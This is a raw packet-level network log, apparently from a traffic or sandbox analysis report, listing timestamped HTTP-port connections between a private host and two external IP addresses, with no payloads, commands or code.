Sep 23, 2023 17:53:23.469490051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.469495058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.469527006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.470274925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.470289946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.470304966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.470320940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.470335960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.470336914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.470356941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.470793009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.471111059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.471132994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.471149921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.471153021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.471179008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.471182108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.471195936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.471230030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.472038031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472071886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472086906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472103119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472110033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.472119093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472142935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.472822905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472840071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472862959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.472938061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.472980022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.473000050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473016977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473056078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.473515987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.473768950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473829031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473862886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.473875046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473891020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473907948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.473925114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.474628925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.474644899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.474664927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.474690914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.474706888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.474730015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.474745989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.474780083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.475502014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.475538969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.475579977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.475605011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.475630045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.475646973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.475666046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.476445913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.476463079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.476479053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.476491928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.476526976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.476542950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.476572990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.476651907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.477263927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.477344036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.477380037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.477405071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.477456093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.477473021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.477490902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.478189945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.478226900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.478374004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.478452921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.478487968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.478549957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.478565931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.478610039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.479011059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479068995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479104996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479105949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.479141951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479176044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479181051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.479924917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479959965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.479969025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.479995012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480030060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480041027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.480066061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480110884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.480829954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480865955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480901003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480906963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.480936050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480971098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.480977058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.481565952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.481610060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.481686115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.481722116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.481758118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.481765032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.481794119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.481863976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.482455015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.482513905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.482558966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.482561111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.482598066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.482633114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.482640028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.483374119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.483409882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.483416080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.483444929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.483479977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.483489037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.483515978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.483551025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.484175920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.484216928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.484256029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.484261990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.484291077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.484327078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.484333038 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.485044956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485080957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485086918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.485116005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485151052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485160112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.485186100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485228062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.485917091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485951900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485986948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.485999107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.486066103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486103058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486108065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.486767054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486802101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486809015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.486836910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486871004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.486871958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486907005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.486952066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.487562895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.487610102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.487647057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.487663984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.487684011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.487728119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.487751961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.488332987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.488368988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.488378048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.488485098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.488528967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.488533974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.488600016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.488645077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.489274025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.489310026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.489345074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.489348888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.489379883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.489413977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.489418030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.489803076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.490020037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.490053892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.490072012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.490087986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.490123987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.490128040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.490159988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.490217924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.490932941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.490969896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491004944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491013050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.491040945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491075039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491080999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.491668940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491703987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491710901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.491775036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491810083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491821051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.491846085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.491898060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.492608070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.492655993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.492691040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.492722034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.492724895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.492759943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.492763996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.493382931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.493417978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.493423939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.493453979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.493489027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.493496895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.493524075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.493561983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.494163036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.494199991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.494282007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.494287014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.494316101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.494350910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.494355917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.494385004 CEST	80	49779	77.91.68.61	192.168.2.4
Sep 23, 2023 17:53:23.494452953 CEST	49779	80	192.168.2.4	77.91.68.61
Sep 23, 2023 17:53:23.494486094 CEST	49779	80	192.168.2.4	77.91.68.61
Sep 23, 2023 17:53:23.495045900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495084047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495093107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.495120049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495155096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495157957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.495188951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495228052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.495832920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495898008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495934010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.495938063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.496093988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496129990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496148109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.496164083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496203899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.496818066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496854067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496889114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496893883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.496925116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496958971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.496972084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.496994019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.497044086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.497716904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.497764111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.497798920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.497833014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.497838974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.497900963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.497936010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.497944117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.497972012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498012066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.498744011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498780012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498814106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498820066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.498848915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498883963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498889923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.498919010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.498956919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.499641895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.499725103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.499759912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.499794960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.499804974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.499829054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.499840021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.499864101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.499922991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.500547886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.500583887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.500621080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.500825882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.500859976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.500901937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.500938892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.500955105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.500988960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.501585007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.501600981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.501616955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.501631975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.501652002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.501666069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.501678944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.501693964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.501737118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.502583027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.502599001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.502615929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.502651930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.503000021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503031969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503042936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.503048897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503089905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.503103971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503118992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503133059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503165007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.503896952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503914118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503936052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.503961086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503978014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.503993034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.504008055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.504017115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.504040003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.504901886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.504919052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.504944086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.504966974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.504981995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.504997969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505008936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.505028009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505043030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.505784035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505817890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.505819082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505856991 CEST	80	49781	5.42.65.80	192.168.2.4
